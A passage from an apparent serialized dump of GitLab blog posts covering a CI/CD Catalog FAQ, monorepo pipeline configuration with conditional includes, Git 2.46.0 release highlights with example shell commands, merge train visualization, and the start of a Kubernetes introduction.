$CI_SERVER_FQDN/my-org/security-components/secret-detection@master)?*** \n\nYes, you can use a branch name. [The CI/CD Catalog documentation](https://docs.gitlab.com/ee/ci/components/#component-versions) lists components versions.  \n\n***How can you show the catalog in self-managed instances?***\n\nA self-managed catalog will be available, but will be empty without any published components. You can use this catalog internally in your organization and it is up for you and your teams to populate it with the appropriate components. Alternatively, you can mirror existing components projects from Gitlab.com to your self-managed   instance.\n\n***Can we clone the public repo into a self-hosted instance?*** \n\nA component is hosted in a GitLab project and like any other project it can be cloned locally. Follow these instructions on [how to mirror a component from GitLab.com to self-managed instance](https://docs.gitlab.com/ee/ci/components/#use-a-gitlabcom-component-in-a-self-managed-instance).\n\n***How can you prevent name collisions with CI/CD component jobs?***\n\nUse inputs to specify dynamic job names, which will allow you to [include the same component multiple times in the same pipeline](https://docs.gitlab.com/ee/ci/yaml/inputs.html#include-the-same-file-multiple-times).\n\n***Is it possible to inspect the source code of components in the catalog?***\n\nYes, to view the source code, from the catalog open a component you would like to view. Then, click the component name – this will open the project where the component is hosted and you can find the component’s .yml file in the component's templates folder.\n\n***Can a component receive an array of data as input parameter?***\n\n[A component can receive multiple data types](https://docs.gitlab.com/ee/ci/yaml/?query=inputs#specinputstype) such as string, boolean, number, and array.\n\n***Can the component reference more files alongside the .yml file?***\n\nNo, it can’t. This capability is available in [CI Steps](https://docs.gitlab.com/ee/ci/steps/) (which is experimental).\n\n***Can we have anti-patterns for CI/CD components?***\n\nPlease [follow the best practice section in the documentation](https://docs.gitlab.com/ee/ci/components/#write-a-component).\n\n***Is it possible to limit a group to only using components owned by the group (i.e., not allowing community components)?***\n\nNot yet, but [this feature is on our roadmap](https://gitlab.com/gitlab-org/gitlab/-/issues/441102).\n\n***Is the GitLab CI Steps feature related to this component in any way?***\n\nYes, it is, we consider CI Steps as another type of component. More details can be found in [the CI Steps documentation](https://docs.gitlab.com/ee/ci/steps).\n\n***Is it possible to make private components for your organization only?***\n\nYes, the [component's visibility](https://docs.gitlab.com/ee/ci/components/#view-the-cicd-catalog) is based on the visibility level of your project and only members that have the privileges to see the project can view and search the component in the catalog.\n\n***What is the best approach if I need to fork a Gitlab.com component in terms of GitLab flow to manage the forked repo and propose changes when needed to the original repo?***\n\nYou can manage your fork similarly to how you manage any Git repository – by making changes in your fork and then creating merge requests to propose changes back to the original repository.\n\n***Is there any difference in source code standardization between a verified creator and a non-verified creator in the catalog? Do verified creators have to follow a higher standard?***\n\nCurrently, there is no process to verify and approve individual creators from our extended community. However. we do have a [process for GitLab partners and GitLab-maintained components](https://docs.gitlab.com/ee/ci/components/#verified-component-creators).\n\n***How would you recommend implementing tools like Fortify SCA into your CI/CD pipeline?***\n\nTwo options would be possible: Either Fortify would need to create a shared component in the catalog that exposes the necessary elements for public consumption, or, if publicly-available APIs exist, the community can build an open-source component to be shared and used by others in the catalog.\n\n***What sort of patterns do you recommend for providing \"outputs\" from components that are consumed by other jobs/components in the including pipeline?***\n\nThere is no ability to specify outputs for components, but this is on the roadmap with a new capability called [CI Steps](https://docs.gitlab.com/ee/ci/steps/).\n\n***Is there any plan to label components?***\n\nYes! in this [GitLab epic](https://gitlab.com/groups/gitlab-org/-/epics/11917), we have several issues to enhance searching and discoverability by content type, tags, and category.\n\n***Will existing CI/CD templates be migrated to components?***\n\nYes, the GitLab templates are migrated and have a special badge in the CI/CD Catalog.\n\n***What's the recommended way to transition from our existing GitLab pipeline templates to GitLab catalog components?***\n\nThis should be rather simple since components are very similar to templates. We would recommend start using inputs in your templates, and later on moving them to the appropriate folder structure.\n\n> Learn more about the CI/CD Catalog and components:\n>  \n> - [CI/CD Catalog goes GA: No more building pipelines from scratch](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/)\n> \n> - [A CI/CD component builder's journey](https://about.gitlab.com/blog/a-ci-component-builders-journey/)\n>\n> - [Documentation: CI/CD components and CI/CD Catalog](https://docs.gitlab.com/ee/ci/components/)\n>\n> - [Introducing CI/CD components and how to use them in GitLab](https://about.gitlab.com/blog/introducing-ci-components/)\n>\n",[110,943],{"slug":5061,"featured":92,"template":678},"faq-gitlab-ci-cd-catalog","content:en-us:blog:faq-gitlab-ci-cd-catalog.yml","Faq Gitlab Ci Cd Catalog","en-us/blog/faq-gitlab-ci-cd-catalog.yml","en-us/blog/faq-gitlab-ci-cd-catalog",{"_path":5067,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5068,"content":5073,"config":5079,"_id":5081,"_type":16,"title":5082,"_source":17,"_file":5083,"_stem":5084,"_extension":20},"/en-us/blog/building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way",{"title":5069,"description":5070,"ogTitle":5069,"ogDescription":5070,"noIndex":6,"ogImage":3276,"ogUrl":5071,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5071,"schema":5072},"Building a GitLab CI/CD pipeline for a monorepo the easy way","Learn how to create a GitLab CI/CD pipeline for a monorepo to host multiple applications in one repository.","https://about.gitlab.com/blog/building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Building a GitLab CI/CD pipeline for a monorepo the easy way\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sam Morris\"}],\n        \"datePublished\": \"2024-07-30\",\n      }",{"title":5069,"description":5070,"authors":5074,"heroImage":3276,"date":5076,"body":5077,"category":734,"tags":5078},[5075],"Sam Morris","2024-07-30","Monorepos allow you to host multiple applications’ code in a single repository. In GitLab, that involves placing disparate application source code in separate directories in one project. While this strategy allows for version controlled storage of your code, it was tricky leveraging the full power of GitLab’s [CI/CD](https://about.gitlab.com/topics/ci-cd/) pipeline capabilities… until now!\n\n## The ideal case: CI/CD in a monorepo\n\nSince you have more than one application’s code living in your repository, you will want to have more than one pipeline configuration. For example, if you have a .NET application and a Spring application in one project, each application may have different build and test jobs to complete. Ideally, you can completely decouple the pipelines and only run each pipeline based on changes to that specific application’s source code.\n\nThe technical approach for this would be to have a project-level `.gitlab-ci.yml` pipeline configuration file that includes a specific YAML file based on changes in a certain directory. The `.gitlab-ci.yml` pipeline serves as the control plane that triggers the appropriate pipeline based on the changes made to the code.\n\n## The legacy approach\n\nPrior to GitLab 16.4, we were not able to include a YAML file based on changes to a directory or file in a project. However, we could accomplish this functionality via a workaround. \n\nIn our monorepo project, we have two directories for different applications. In this example, there are `java` and `python` directories representing a Java and Python app, respectively. Each directory has an application-specific YAML file to build each app. In the project’s pipeline file, we simply include both application pipeline files, and do the logic handling in those files directly.\n\n`.gitlab-ci.yml`:\n\n```\nstages:\n  - build\n  - test\n  - deploy\n\ntop-level-job:\n  stage: build\n  script:\n    - echo \"Hello world...\"\n\ninclude:\n  - local: '/java/j.gitlab-ci.yml'\n  - local: '/python/py.gitlab-ci.yml'\n\n```\n\nIn each application-specific pipeline file, we create a hidden job named .java-common or .python-common that only runs if there are changes to that app’s directory. [Hidden jobs](https://docs.gitlab.com/ee/ci/jobs/#hide-jobs) do not run by default, and are often utilized to reuse specific job configurations. Each pipeline extends that hidden job to inherit the rules defining which files to watch for changes, which would then initiate the pipeline job. \n\n`j.gitlab-ci.yml`:\n\n```\nstages:\n  - build\n  - test\n  - deploy\n\n.java-common:\n  rules:\n    - changes:\n      - '../java/*'\n\njava-build-job:\n  extends: .java-common\n  stage: build\n  script:\n    - echo \"Building Java\"\n\njava-test-job:\n  extends: .java-common\n  stage: test\n  script:\n    - echo \"Testing Java\"\n\n```\n\n`py.gitlab-ci.yml`:\n\n```\nstages:\n  - build\n  - test\n  - deploy\n\n.python-common:\n  rules:\n    - changes:\n      - '../python/*'\n\npython-build-job:\n  extends: .python-common\n  stage: build\n  script:\n    - echo \"Building Python\"\n\npython-test-job:\n  extends: .python-common\n  stage: test\n  script:\n    - echo \"Testing Python\"\n\n```\n\nThere are some downsides to this, including having to extend the job for each other job in the YAML file to ensure it complies with the rules, creating a lot of redundant code and room for human error. Additionally, extended jobs cannot have duplicate keys, so you could not define your own `rules` logic in each job since there would be a collision in the keys and their [values are not merged](https://docs.gitlab.com/ee/ci/yaml/index.html#extends). \n\nThis results in a pipeline running that includes the j.gitlab-ci.yml jobs when `java/` is updated, and py.gitlab-ci.yml when `python/` is updated. \n\n## The new approach: Conditionally include pipeline files\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/6phvk8jioAo?si=y6ztZODvUtM-cHmZ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nIn GitLab 16.4, we introduced [`include` with `rules:changes` for pipelines](https://docs.gitlab.com/ee/ci/yaml/includes.html#include-with-ruleschanges). Previously, you could `include` with `rules:if`, but not `rules:changes` making this update extremely powerful. Now, you can simply use the `include` keyword and define the monorepo rules in your project pipeline configuration. \n\nNew `.gitlab-ci.yml`:\n\n```\nstages:\n  - build\n  - test\n\ntop-level-job:\n  stage: build\n  script:\n    - echo \"Hello world...\"\n\ninclude:\n  - local: '/java/j.gitlab-ci.yml'\n    rules:\n      - changes:\n        - 'java/*'\n  - local: '/python/py.gitlab-ci.yml'\n    rules:\n      - changes:\n        - 'python/*'\n\n```\n\nThen each application’s YAML can just focus on building and testing that application’s code, without extending a hidden job repeatedly. This allows for more flexibility in job definitions and reduces code rewriting for engineers.\n\nNew `j.gitlab-ci.yml`:\n\n```\nstages:\n  - build\n  - test\n  - deploy\n\njava-build-job:\n  stage: build\n  script:\n    - echo \"Building Java\"\n\njava-test-job:\n  stage: test\n  script:\n    - echo \"Testing Java\"\n\n```\n\nNew `py.gitlab-ci.yml`:\n```\nstages:\n  - build\n  - test\n  - deploy\n\npython-build-job:\n  stage: build\n  script:\n    - echo \"Building Python\"\n\npython-test-job:\n  stage: test\n  script:\n    - echo \"Testing Python\"\n\n```\n\nThis accomplishes the same task of including the Java and Python jobs only when their directories are modified. Something to consider in your implementation is that [jobs can run unexpectedly when using `changes`](https://docs.gitlab.com/ee/ci/jobs/job_troubleshooting.html#jobs-or-pipelines-run-unexpectedly-when-using-changes). The changes rule always evaluates to true when pushing a new branch or a new tag to GitLab, so all jobs included will run upon first push to a branch regardless of the `rules:changes` definition. You can mitigate this experience by creating your feature branch first and then opening a merge request to begin your development, since the first push to the branch when it is created will force all jobs to run.\n\nUltimately, monorepos are a strategy that can be used with GitLab and CI/CD, and, with our new `include` with `rules:changes` feature, we have a better best practice for using GitLab CI with monorepos. To get started with monorepos, take out a free Gitlab Ultimate trial today.\n\n## More CI/CD resources\n\n* [5 tips for managing monorepos in GitLab](https://about.gitlab.com/blog/tips-for-managing-monorepos-in-gitlab/)\n* [How to learn CI/CD fast](https://about.gitlab.com/blog/how-to-learn-ci-cd-fast/)",[110,696],{"slug":5080,"featured":6,"template":678},"building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way","content:en-us:blog:building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way.yml","Building A Gitlab Ci Cd Pipeline For A Monorepo The Easy Way","en-us/blog/building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way.yml","en-us/blog/building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way",{"_path":5086,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5087,"content":5092,"config":5097,"_id":5099,"_type":16,"title":5100,"_source":17,"_file":5101,"_stem":5102,"_extension":20},"/en-us/blog/whats-new-in-git-2-46-0",{"title":5088,"description":5089,"ogTitle":5088,"ogDescription":5089,"noIndex":6,"ogImage":3374,"ogUrl":5090,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5090,"schema":5091},"What’s new in Git 2.46.0?","Here are highlights of release contributions from GitLab's Git team and the wider Git community, including reference backend migration tooling and transactional symbolic reference updates.","https://about.gitlab.com/blog/whats-new-in-git-2-46-0","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What’s new in Git 2.46.0?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Justin Tobler\"}],\n        \"datePublished\": \"2024-07-29\",\n      }",{"title":5088,"description":5089,"authors":5093,"heroImage":3374,"date":5094,"body":5095,"category":813,"tags":5096},[1144],"2024-07-29","The Git project recently released [Git v2.46.0](https://lore.kernel.org/git/xmqqzfq0i0qa.fsf@gitster.g/T/#u). Let's look at a few notable highlights from this release, which includes contributions from GitLab's Git team and the wider Git community.\n\n## Tooling to migrate reference backends\n\nIn the previous [Git 2.45.0](https://gitlab.com/gitlab-org/git/-/raw/master/Documentation/RelNotes/2.45.0.txt?ref_type=heads)\nrelease, the reftables format was introduced as a new backend for storing\nreferences. This new reference format solves some challenges that large\nrepositories face as the number of references scales. If you are not yet\nfamiliar with the reftables backend, check out our previous [Git release blog post](https://about.gitlab.com/blog/whats-new-in-git-2-45-0/) where the feature was introduced and our beginner’s guide to [learn more about how reftables work](https://about.gitlab.com/blog/a-beginners-guide-to-the-git-reftable-format/).\n\nThe reftable backend has a different on-disk format than the pre-existing files backend. Consequently, to use reftables on an existing repository requires a conversion between the different formats. To accomplish this, a new git-refs(1) command has been introduced with the `migrate` subcommand to perform reference backend migrations. Below is an example of how this command can be used.\n\n```shell\n# Initialize a new repository as “bare” so it does not contain reflogs.\n$ git init --bare .\n$ git commit --allow-empty -m \"init\"\n# Populate repository with references in the files backend.\n$ git branch foo\n$ git branch bar\n$ tree .git/refs\n.git/refs\n├── heads\n│   ├── bar\n│   ├── foo\n│   ├── main\n└── tags\n# Perform reference migration to reftables format.\n$ git refs migrate --ref-format=reftable\n# Check that reftables backend is now in use.\n$ tree .git/reftable\n.git/reftable\n├── 0x000000000001-0x000000000001-a3451eed.ref\n└── tables.list\n# Check the repository config to see the updated `refstorage` format.\n$ cat config\n[core]\n        repositoryformatversion = 1\n        filemode = true\n        bare = true\n        ignorecase = true\n        precomposeunicode = true\n[extensions]\n        refstorage = reftable\n```\n\nOnce a repository has been migrated, the on-disk format is changed to begin\nusing the reftable backend. Git operations on the repository continue to\nfunction and interact with remotes the same as before. The migration only\naffects how references are stored internally for the repository. If you wish to go back to the files reference backend, you can accomplish this with the same command by instead specifying `--ref-format=files`.\n\nThe migration tooling currently has some notable limitations. The reflogs in a repository are a component of a reference backend and would also require\nmigration between formats. Unfortunately, the tooling is not yet capable of\nconverting reflogs between the files and reftables backends. Also, a repository with worktrees essentially has multiple ref stores and the migration tool is not yet capable of handling this scenario. Therefore, if a repository contains reflogs or worktrees, reference migration is currently unavailable. These limitations may be overcome in future versions.\n\nBecause a bare Git repository does not have reflogs, it is easier to migrate. To migrate a standard non-bare repository, reflogs must be pruned first. Therefore, any repository without reflogs or worktrees can be migrated. With these limitations in mind, this tool can be used to begin taking advantage of the reftables backend in your existing repositories.\n\nThis project was led by [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## Transactional symref updates\n\nThe [git-update-ref(1)](https://git-scm.com/docs/git-update-ref) command\nperforms reference updates in a Git repository. These reference updates can also be performed atomically in bulk with transactions by using\n`git update-ref --stdin` and passing update-ref instructions on stdin. Below is an example of how this is done.\n\n```shell\n$ git init .\n$ git branch -m main\n$ git commit --allow-empty -m \"foo\" && git commit --allow-empty -m \"bar\"\n# Retrieve the object ID of the two commits created.\n$ git rev-parse main~ main\n567aac2b3d1fbf0bd2433f669eb0b82a0348775e\n3b13462a9a42e0a3130b9cbc472ab479d3ef0631\n# Start transaction, provide update-ref instructions, and commit.\n$ git update-ref --stdin \u003C\u003CEOF\n> start\n> create refs/heads/new-ref 3b13462a9a42e0a3130b9cbc472ab479d3ef0631\n> update refs/heads/main 567aac2b3d1fbf0bd2433f669eb0b82a0348775e\n> commit\n> EOF\n$ git for-each-ref\n567aac2b3d1fbf0bd2433f669eb0b82a0348775e commit refs/heads/main\n3b13462a9a42e0a3130b9cbc472ab479d3ef0631 commit refs/heads/my-ref\n```\n\nFrom this example, once the transaction is committed, a new branch is created pointing to the “bar” commit and the main branch is updated to point to the previous “foo” commit. Committing the transaction performs the specified reference updates atomically. If an individual reference update fails, the transaction is aborted and no reference updates are performed.\n\nA notable absence here is instructions to support symref updates in these\ntransactions. If a user wants to update a symref along with other references\natomically in the same transaction, there is no tooling to do so. In this\nrelease, the `symref-create`, `symref-update`, `symref-delete`, and\n`symref-verify` instructions are introduced to provide this functionality.\n\n```shell\n# Create a symref that will be updated during the next operation.\n$ git symbolic-ref refs/heads/symref refs/heads/main\n# The --no-deref flag is required to ensure the symref itself is updated.\n$ git update-ref --stdin --no-deref \u003C\u003CEOF\n> start\n> symref-create refs/heads/new-symref refs/heads/main\n> symref-update refs/heads/symref refs/heads/new-ref\n> commit\n> EOF\n$ git symbolic-ref refs/heads/symref\nrefs/heads/new-ref\n$ git symbolic-ref refs/heads/new-symref\nrefs/heads/main\n```\n\nFrom the above example, a new symbolic reference is created and another is\nupdated in a transaction. These new symref instructions can be used in\ncombination with the pre-existing instructions to perform all manner of\nreference updates now in a single transaction. Check out the\n[documentation](https://git-scm.com/docs/git-update-ref) for more information regarding each of these new instructions.\n\nThis project was led by [Karthik Nayak](https://gitlab.com/knayakgl).\n\n## UX improvements for git-config(1)\n\nThe git-config(1) command allows repository and global options to be viewed and configured. The modes used to interact with configuration can be selected explicitly using flags or determined implicitly based on the number of arguments provided to the command. For example:\n\n```shell\n$ git config --list\n# Explicit retrieval of username configuration\n$ git config --get user.name\n# Implicit retrieval of username configuration\n$ git config user.name\n# Explicit setting of username configuration\n$ git config --set user.name \"Sidney Jones\"\n# Implicit setting of username configuration\n$ git config user.name \"Sidney Jones\"\n# An optional third argument is also accepted. What do you think this does?\n$ git config \u003Cname> [\u003Cvalue> [\u003Cvalue-pattern>]]\n```\n\nOverall, the [git-config(1)](https://git-scm.com/docs/git-config) user\ninterface is not consistent with how other more modern Git commands work where you usually use subcommands. For example, `git remote list`. This release introduces `list`, `get`, `set`, `unset`, `rename-section`, `remove-section`, and `edit` as subcommands for use with the config command while also keeping the old-style syntax available. This change aims to improve user experience by adapting the config command to follow more UI practices and better conform to other commands within Git. For example:\n\n```shell\n$ git config list\n$ git config get user.name\n$ git config set user.name \"Sidney Jones\"\n```\n\nThis project was led by [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## Addressed performance regression\n\nGit operations that leverage attributes rely on reading `.gitattributes` files found in the repository’s working-tree. This is problematic for bare Git repositories because by definition they lack a working-tree. To get around this, Git has the `attr.tree` configuration that allows a source tree to be specified and used to lookup attributes from.\n\nIn Git release 2.43.0, Git started using the tree of `HEAD` as the source of Git attributes for bare repositories by default. Unfortunately, the additional overhead due to scanning for Git attributes files had severe performance impacts. This is because, when `attr.tree` is set, each attribute lookup requires walking the source tree to check for an associated `.gitattributes` file. The larger and deeper the source tree of the repository is, the more pronounced the performance regression becomes. For example, benchmarks run on the linux.git repository showed\ngit-pack-objects(1) taking 1.68 times longer to complete. This could lead to slowdowns when performing clones or fetches.\n\n```\n# attr.tree set to HEAD as done by default in Git version 2.43.0.\nBenchmark 1: git -c attr.tree=HEAD pack-objects --all --stdout \u003C/dev/null >/dev/null\n  Time (mean ± σ):     133.807 s ±  4.866 s    [User: 129.034 s, System: 6.671 s]\n  Range (min … max):   128.447 s … 137.945 s    3 runs\n\n# attr.tree is set to an empty tree to disable attribute lookup as done in Git versions prior to 2.43.0.\nBenchmark 2: git -c attr.tree=4b825dc642cb6eb9a060e54bf8d69288fbee4904 pack-objects --all --stdout \u003C/dev/null >/dev/null\n  Time (mean ± σ):     79.442 s ±  0.822 s    [User: 77.500 s, System: 6.056 s]\n  Range (min … max):   78.583 s … 80.221 s    3 runs\n```\n\nSome of the most notable Git commands that were affected were `clone`, `pull`, `fetch`, and `diff` when, as previously mentioned, used on repositories with large or deep trees. Consequently, the `attr.tree` configuration was partially reverted to no longer be set to `HEAD` by default to address the performance regression. To learn more, check out this\n[thread](https://lore.kernel.org/git/CAKOHPAn1btewYTdLYWpW+fOaXMY+JQZsLCQxUSwoUqnnFN_ohA@mail.gmail.com/) on the mailing list.\n\n## Unit-test migration\n\nHistorically, testing in the Git project has been done via end-to-end tests\nimplemented as shell scripts. The Git project has relatively recently\nintroduced a unit-testing framework written in C. This new testing framework\nbrings opportunities for more in-depth testing of low-level implementation\ndetails at the individual function call level and helps complement the existing end-to-end tests. There are some existing end-to-end tests that are a better fit as unit-tests and thus are good candidates to be ported.\n\nThis year, GitLab is again helping mentor [Google Summer of Code (GSoC)](https://summerofcode.withgoogle.com/) contributors working in the Git project. Thanks to efforts from these ongoing GSoC projects and also the wider Git community, some existing tests are being refactored and migrated to the unit-testing framework. During this last release cycle, there have been several contributions towards the goal of improving the testing in the Git project. To follow development progress for these GSoC contributor projects, check out [Chandra’s](https://chand-ra.github.io/) and [Ghanshyam’s](https://spectre10.github.io/posts/) blogs.\n\n## Bundle URI fixes\n\nUsually when a client fetches from a remote repository, all required objects\nare sent in a packfile computed by the remote server. To avoid some of this\ncomputation, servers can opt to advertise prebuilt “bundles” stored separately from the remote server which contain sets of references and objects that the client may need. The client can fetch these bundles first through a mechanism called [bundle-uri](https://git-scm.com/docs/bundle-uri).\n\nThanks to [Xing Xin](https://lore.kernel.org/git/pull.1730.git.1715742069966.gitgitgadget@gmail.com/), an issue was identified and fixed where Git, despite having downloaded some bundles, was still downloading everything from the remote as if there were no bundles. This was due to Git not correctly discovering all the downloaded bundles, which resulted in having to fetch the consecutive ones from the remote. With this fixed, remotes using the bundle-uri mechanism can avoid having to perform redundant work and improve performance.\n\n## Read more\n\nThis article highlighted just a few of the contributions made by GitLab and\nthe wider Git community for this latest release. You can learn about these from the [official release announcement](https://lore.kernel.org/git/xmqqzfq0i0qa.fsf@gitster.g/T/#u) of the Git project. Also, check out our [previous Git release blog posts](https://about.gitlab.com/blog/tags/git/) to see other past highlights of contributions from GitLab team members.",[1067,815,267],{"slug":5098,"featured":92,"template":678},"whats-new-in-git-2-46-0","content:en-us:blog:whats-new-in-git-2-46-0.yml","Whats New In Git 2 46 0","en-us/blog/whats-new-in-git-2-46-0.yml","en-us/blog/whats-new-in-git-2-46-0",{"_path":5104,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5105,"content":5111,"config":5118,"_id":5120,"_type":16,"title":5121,"_source":17,"_file":5122,"_stem":5123,"_extension":20},"/en-us/blog/how-visualization-improves-the-gitlab-merge-train-experience",{"title":5106,"description":5107,"ogTitle":5106,"ogDescription":5107,"noIndex":6,"ogImage":5108,"ogUrl":5109,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5109,"schema":5110},"How visualization improves the GitLab merge train experience","Merge train visualization lets users closely track merge train activities and take actions with a better understanding of the impact on other MRs in the queue.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098825/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2824%29_1KuzZLH1aSgBZsGVXGPIjf_1750098824773.png","https://about.gitlab.com/blog/how-visualization-improves-the-gitlab-merge-train-experience","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How visualization improves the GitLab merge train experience\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Payton Burdette\"},{\"@type\":\"Person\",\"name\":\"Veethika Mishra\"}],\n        \"datePublished\": \"2024-07-25\",\n      }",{"title":5106,"description":5107,"authors":5112,"heroImage":5108,"date":5115,"body":5116,"category":695,"tags":5117},[5113,5114],"Payton Burdette","Veethika Mishra","2024-07-25","GitLab's merge train feature on the DevSecOps platform has worked wonders for organizations looking for a solution to automatically manage conflicts among different merge requests that are merged in close proximity to each other. [Merge trains](https://docs.gitlab.com/ee/ci/pipelines/merge_trains.html) support all merge methods and ensure all MRs work together, which saves time and reduces the stress of breaking the default branch, especially for teams dealing with long build times or a small fleet of runners. Merge trains also alleviate some of the burden on developers who have to track the progress of other MRs before pushing the \"Merge\" button.\n\nDespite the benefits of a merge train, without having a UI to visualize its inner workings, users find it hard to trust the process. Sometimes it is difficult to distinguish failures caused by user actions from those due to flaky runs. \n\nMoreover, the lack of visibility into what else is queued before or after a particular MR has made users less confident when taking actions such as merging immediately or removing MRs from the merge train.\n\nTo address this gap in user experience, we are introducing merge train visualization in GitLab (Premium and Ultimate tiers) for better visibility into and tracking of the merge train queue.\n\n## Merge train visualization\n\nBased on findings from user research and feedback, we have defined a set of requirements for the first iteration of this feature. Here’s what you can expect.\n\n### View merge trains\n\nCurrently, when a merge request is added to the train, a link to the merge train details page is surfaced on the pipeline widget.\n\n![Merge train running](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098833/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098833102.png)\n\n### View list of MRs queued in a train\n\nWith the new merge train visualization, users can see a list of all MRs queued in the train. This transparency helps developers understand the order of merges and anticipate potential conflicts or issues. Knowing what is queued provides clarity and allows for better planning and coordination among team members.\n\n![List of MRs queued in the train](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098833/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098833102.png)\n\n### View list of MRs already merged by the train\n\nIn addition to seeing what is queued, users can also view a list of MRs that have already been successfully merged by the train. This historical context is valuable for tracking progress and understanding the sequence of changes that have been integrated into the default branch.\n\n![List of merged MRs in the train](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098833/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098833104.png)\n\n### Remove a merge request from the train straight from visualization\nThe new visualization also enables quick actions. The first action implemented is removing an MR from the merge train. This streamlined workflow reduces the time and effort required to manage merge trains, making it easier to respond to issues as they arise and maintain a smooth CI/CD pipeline.\n\n![Remove a merge request screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098833/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098833107.png)\n\n## The benefits of merge train visualization\n\nMerge train visualization has the following benefits: \n\n1. Enhanced transparency and trust\n- By visualizing the merge train, GitLab provides users with the transparency they need to trust the system. Understanding what is happening within the merge train reduces uncertainty and builds confidence in the automated process.\n2. Improved efficiency and collaboration\n- Teams can work more efficiently by having a clear view of the merge train. Developers can better coordinate their efforts, avoid redundant work, and quickly address issues. This collaborative approach ensures smoother and faster integration of changes.\n3. Reduced risk of failures\n- With visibility into the merge train, users can identify and address potential conflicts or failures early. This proactive approach minimizes the risk of breaking the default branch, leading to more stable and reliable builds.\n\n## What’s next?\n\nAs we learn more about how users interact with the merge train visualization, we intend to [add more capabilities](https://gitlab.com/gitlab-org/gitlab/-/issues/277391/designs/mr-visualization-as-a-list.png) to the list view. Early ideas include displaying estimated time to merge, ability to re-order, and displaying removed merge requests from the train. If you have ideas that you want to share, don’t forget to leave a comment on [our feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/464774).\n\nWe believe that the merge train visualization will significantly enhance the user experience for developers using GitLab. By providing a clear and actionable view of the merge train, we aim to make the merge process more transparent, efficient, and reliable.\n\n> Sign up for a [free 30-day trial of GitLab Ultimate](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial) to test-drive merge train visualization.\n",[110,754,695],{"slug":5119,"featured":92,"template":678},"how-visualization-improves-the-gitlab-merge-train-experience","content:en-us:blog:how-visualization-improves-the-gitlab-merge-train-experience.yml","How Visualization Improves The Gitlab Merge Train Experience","en-us/blog/how-visualization-improves-the-gitlab-merge-train-experience.yml","en-us/blog/how-visualization-improves-the-gitlab-merge-train-experience",{"_path":5125,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5126,"content":5132,"config":5136,"_id":5138,"_type":16,"title":5139,"_source":17,"_file":5140,"_stem":5141,"_extension":20},"/en-us/blog/kubernetes-the-container-orchestration-solution",{"title":5127,"description":5128,"ogTitle":5127,"ogDescription":5128,"noIndex":6,"ogImage":5129,"ogUrl":5130,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5130,"schema":5131},"Kubernetes: Get to know the container orchestration solution","Kubernetes, also known as K8s, is a must-have solution for deploying and maintaining applications, especially in the cloud. Learn the basics of Kubernetes with this introductory guide.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660215/Blog/Hero%20Images/kubernetes-container-orchestration-solution.jpg","https://about.gitlab.com/blog/kubernetes-the-container-orchestration-solution","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Kubernetes: Get to know the container orchestration solution\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Team\"}],\n        \"datePublished\": \"2024-07-25\",\n      }",{"title":5127,"description":5128,"authors":5133,"heroImage":5129,"date":5115,"body":5134,"category":813,"tags":5135,"updatedDate":4845},[1380],"Kubernetes automates the tasks of deploying and managing containerized applications on a large scale. Over time, Kubernetes has become an essential tool for developing applications in many areas, such as [microservices](https://about.gitlab.com/topics/microservices/), web applications, and databases. Its performance and scalability make it a recognized standard in container management today.\n\nDiscover everything you need to know about Kubernetes in this article.\n\n## What is Kubernetes?\n\nKubernetes is an open-source system for efficiently orchestrating the containers of a software application. Containerization is a widely acclaimed approach to developing applications, especially in the areas of digital transformation and the cloud.\n\nIf you're not familiar with the concept of containers, note that it is an application development method that groups the components of an application into standardized units – or containers – that are independent of the devices and operating systems they are located on. By isolating applications from their environment, this technology facilitates their deployment and portability, as well as reduces interoperability conflicts.\n\nThis is where we use the Kubernetes software. Certainly, containers allow applications to be divided into smaller and autonomous modules, thus facilitating their deployment. However, for containers to interact within an application, a management system encompassing these modules is necessary. That's exactly what Kubernetes does. Kubernetes provides a platform to control where and how containers run, so you can orchestrate and schedule their execution to manage containerized applications on a large scale.\n\n> Browse [GitLab articles about 